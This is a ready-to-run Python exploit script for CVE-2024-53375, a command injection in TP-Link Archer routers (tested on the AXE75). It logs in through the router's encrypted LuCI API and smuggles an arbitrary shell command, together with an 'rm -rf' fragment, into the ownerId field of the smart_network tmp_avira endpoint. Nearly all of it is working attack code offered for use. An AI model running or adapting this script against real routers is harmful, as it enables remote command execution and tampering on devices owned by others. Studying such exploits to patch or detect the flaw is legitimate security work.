#!/usr/bin/python3
# CVE-2024-53375
# Exploit Title: TP-Link Archer router series - Authenticated Command Injection (RCE)
# Exploit Author: Ryan Putman
# Technical Details: https://github.com/ThottySploity/CVE-2024-53375
# Date: 2024-10-03
# Vendor Homepage: https://www.tp-link.com/
# Tested On: Tp-Link Archer AXE75
# Vulnerability Description:
#   Command Injection vulnerability in the tmp_avira form of the smart_network endpoint

import argparse # pip install argparse
import requests # pip install requests
import binascii, base64, os, re, json, sys, time, math, random, hashlib
import tarfile, zlib
from Crypto.Cipher import AES, PKCS1_v1_5, PKCS1_OAEP # pip install pycryptodome
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
from urllib.parse import urlencode

# Webclient class is from: https://github.com/aaronsvk/CVE-2022-30075/blob/main/tplink.py
class WebClient(object):

	def __init__(self, target, password):
		self.target = target
		self.password = password.encode('utf-8')
		self.password_hash = hashlib.md5(('admin%s'%password).encode('utf-8')).hexdigest().encode('utf-8')
		self.aes_key = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')
		self.aes_iv = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')

		self.stok = ''
		self.session = requests.Session()

		data = self.basic_request('/login?form=auth', {'operation':'read'})
		if data['success'] != True:
			print('[!] unsupported router')
			return
		self.sign_rsa_n = int(data['data']['key'][0], 16)
		self.sign_rsa_e = int(data['data']['key'][1], 16)
		self.seq = data['data']['seq']

		data = self.basic_request('/login?form=keys', {'operation':'read'})
		self.password_rsa_n = int(data['data']['password'][0], 16)
		self.password_rsa_e = int(data['data']['password'][1], 16)

		self.stok = self.login()


	def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
		cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
		plaintext_padded = pad(plaintext, aes_block_size)
		return cipher.encrypt(plaintext_padded)


	def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):
		cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
		plaintext_padded = cipher.decrypt(ciphertext)
		plaintext = unpad(plaintext_padded, aes_block_size)
		return plaintext


	def rsa_encrypt(self, n, e, plaintext):
		public_key = RSA.construct((n, e)).publickey()
		encryptor = PKCS1_v1_5.new(public_key)
		block_size = int(public_key.n.bit_length()/8) - 11
		encrypted_text = ''
		for i in range(0, len(plaintext), block_size):
			encrypted_text += encryptor.encrypt(plaintext[i:i+block_size]).hex()
		return encrypted_text


	def download_request(self, url, post_data):
		res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, stream=True)
		filepath = os.getcwd()+'/'+re.findall(r'(?<=filename=")[^"]+', res.headers['Content-Disposition'])[0]
		if os.path.exists(filepath):
			print('[!] can\'t download, file "%s" already exists' % filepath)
			return
		with open(filepath, 'wb') as f:
			for chunk in res.iter_content(chunk_size=4096):
				f.write(chunk)
		return filepath


	def basic_request(self, url, post_data, files_data={}):
		res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, files=files_data)
		return json.loads(res.content)
		
	def more_basic_request(self, url, post_data, files_data={}):
	        res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, files=files_data)
	        return (res.status_code, res.text)


	def encrypted_request(self, url, post_data):
		serialized_data = urlencode(post_data)
		encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, serialized_data.encode('utf-8'))
		encrypted_data = base64.b64encode(encrypted_data)

		signature = ('k=%s&i=%s&h=%s&s=%d'.encode('utf-8')) % (self.aes_key, self.aes_iv, self.password_hash, self.seq+len(encrypted_data))
		encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature)

		res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data={'sign':encrypted_signature, 'data':encrypted_data}) # order of params is important
		if(res.status_code != 200):
			print('[!] url "%s" returned unexpected status code'%(url))
			return
		encrypted_data = json.loads(res.content)
		encrypted_data = base64.b64decode(encrypted_data['data'])
		data = self.aes_decrypt(self.aes_key, self.aes_iv, AES.block_size, encrypted_data)
		return json.loads(data)


	def login(self):
		post_data = {'operation':'login', 'password':self.rsa_encrypt(self.password_rsa_n, self.password_rsa_e, self.password)}
		data = self.encrypted_request('/login?form=login', post_data)
		if data['success'] != True:
			print('[!] login failed')
			return
		print('[+] logged in, received token (stok): %s'%(data['data']['stok']))
		return data['data']['stok']

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-t', metavar='target', help='ip address of tp-link router', required=True)
arg_parser.add_argument('-p', metavar='password', required=True)
arg_parser.add_argument('-c', metavar='cmd', default='/bin/uname -a > /www/poc.txt', help='command to execute')
args = arg_parser.parse_args()

client = WebClient(args.t, args.p)

if len(client.stok) > 0:
    # succesfull authentication onto the TP-Link Archer Router
    
    print("[*] Preparing payload")
    ownerid_payload = '../uptime /tmp/visitList;%s;rm -rf'%args.c
    data = {'ownerId': ownerid_payload, 'date': 'today', 'type': 'visit', 'startIndex': 0, 'amount': 1}

    # Sending the payload to the vulnerable endpoint
    resp = client.encrypted_request('/admin/smart_network?form=tmp_avira', {'operation': 'getInsightSites', 'data': json.dumps(data)})
    if resp['success'] != True:
        print("[!] RCE failed")
        sys.exit(-1)
    print("[+] RCE succesfull executed %s"%args.c)